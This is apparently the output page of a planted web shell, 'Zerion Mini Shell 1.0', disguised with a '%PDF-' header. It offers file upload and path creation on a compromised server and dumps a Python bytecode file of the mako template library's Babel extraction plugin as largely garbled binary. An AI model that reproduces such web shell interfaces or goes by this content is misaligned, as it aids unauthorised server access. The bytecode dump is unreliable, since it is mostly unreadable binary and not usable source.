%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/mako/ext/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/mako/ext/__pycache__/babelplugin.cpython-312.pyc

�

���e+��<�dZddlmZddlmZGd�de�Zd�Zy)zEgettext message extraction via Babel: https://pypi.org/project/Babel/�)�extract_python)�MessageExtractorc�*��eZdZ�fd�Zd�Zd�Z�xZS)�BabelMakoExtractorc���||_||_dj|�|jd|jdd��d�|_t
�|��y)N� �input_encoding�encoding)�comment-tagsr
)�keywords�options�join�get�config�super�__init__)�selfr�comment_tagsr
�	__class__s    ��6/usr/lib/python3/dist-packages/mako/ext/babelplugin.pyrzBabelMakoExtractor.__init__sO��� ��
�����H�H�\�2���� �'�+�+�j�$�"?��
���	����c�$�|j|�S)N)�process_file)r�fileobjs  r�__call__zBabelMakoExtractor.__call__s��� � ��)�)rc#�K�|jd}t||j||j�D]\}}}}||dz
z||||zf���y�w)Nr�)rrrr
)	r�code�code_lineno�translator_stringsr�lineno�funcname�messages�python_translator_commentss	         r�process_pythonz!BabelMakoExtractor.process_pythonsn�����{�{�>�2���D�$�-�-��t�|�|�
L�	�
����&��v��z�*���"�%?�?�	�
�
	�s�AA)�__name__�
__module__�__qualname__rrr%�
__classcell__)rs@rrr
s���	�*�
rrc#�JK�t|||�}||�Ed{���y7��w)aExtract messages from Mako templates.

    :param fileobj: the file-like object the messages should be extracted from
    :param keywords: a list of keywords (i.e. function names) that should be
                     recognized as translation functions
    :param comment_tags: a list of translator tags to search for and include
                         in the results
    :param options: a dictionary of additional options (optional)
    :return: an iterator over ``(lineno, funcname, message, comments)`` tuples
    :rtype: ``iterator``
    N)r)rrrr
�	extractors     r�extractr,,s$����#�8�\�7�C�I���!�!�!�s�#�!�#N)�__doc__�babel.messages.extractr�mako.ext.extractrrr,�rr�<module>r1s#��L�1�-��)��>
"r

Zerion Mini Shell 1.0